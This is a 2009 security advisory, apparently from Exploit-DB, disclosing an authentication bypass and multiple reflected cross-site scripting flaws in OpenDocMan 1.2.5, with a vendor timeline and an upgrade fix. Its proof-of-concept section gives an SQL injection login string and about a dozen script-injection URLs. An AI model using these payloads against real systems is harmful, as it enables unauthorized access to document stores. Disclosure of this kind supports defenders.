OpenDocMan 1.2.5 - Cross-Site Scripting / SQL Injection

EDB-ID:

9903


Platform:

PHP

Published:

2009-10-20

Security Advisory : Multiple vulnerabilities in OpenDocMan
Discovered by 	==> Amol Naik (amolnaik4[at]gmail.com)

## Overview ##
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OpenDocMan is a free document management system (DMS) designed to comply with ISO 17025 and OIE standard for document management. It features web based access, fine grained control of access to files, and automated install and upgrades.


## Vulnerability Description ##
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OpenDocMan is vulnerable to authentication bypass and multiple cross-site scripting issues.



## Technical Details ##
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Vulnerable Product 	: OpenDocMan v1.2.5
Download		: http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5/opendocman-1.2.5.zip/download


Authentication Bypass:
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A valid username require to carry put Auth Bypass. Default is "admin".


Cross-site Scripting:
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Multiple instances of Cross-site scripting found majorly due to use of $_SERVER['PHP_SELF'] in action parameter of form field and due to absence of validation for "last_message" parameter.



## Proof of concept ##
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Authentication Bypass:
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Username : admin' OR '1'='1
Password : nothing

Cross-site scripting:
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http://localhost/opendocman/category.php/"><script>alert(1)</script><"?aku=c3VibWl0PWFkZCZzdGF0ZT0y
http://localhost/opendocman/department.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/profile.php/"><script>alert(1)</script>
http://localhost/opendocman/rejects.php/"><script>alert(1)</script>
http://localhost/opendocman/search.php/"><script>alert(1)</script>
http://localhost/opendocman/toBePublished.php/"><script>alert(1)</script>
http://localhost/opendocman/user.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/view_file.php/"><script>alert(1)</script><"?aku=aWQ9NiZzdGF0ZT0z
http://localhost/opendocman/index.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/user.php?submit=Modify+User&item=2&caller=/opendocman/"><script>alert(123)</script><"
http://localhost/opendocman/add.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/toBePublished.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/admin.php?last_message=<script>alert(1)</script>

## Workaround ##
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Update to newer version v1.2.5.2
opendocmanv1.2.5.2: http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5.2/opendocman-1.2.5.2.zip/download


## TimeLine ##
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10th Oct 2009 : Bug Discovered
12th Oct 2009 : vendor was notified by e-mail
12th Oct 2009 : Vendor response received
20th Oct 2009 : A new release publicly available
20th Oct 2009 : Public Disclosure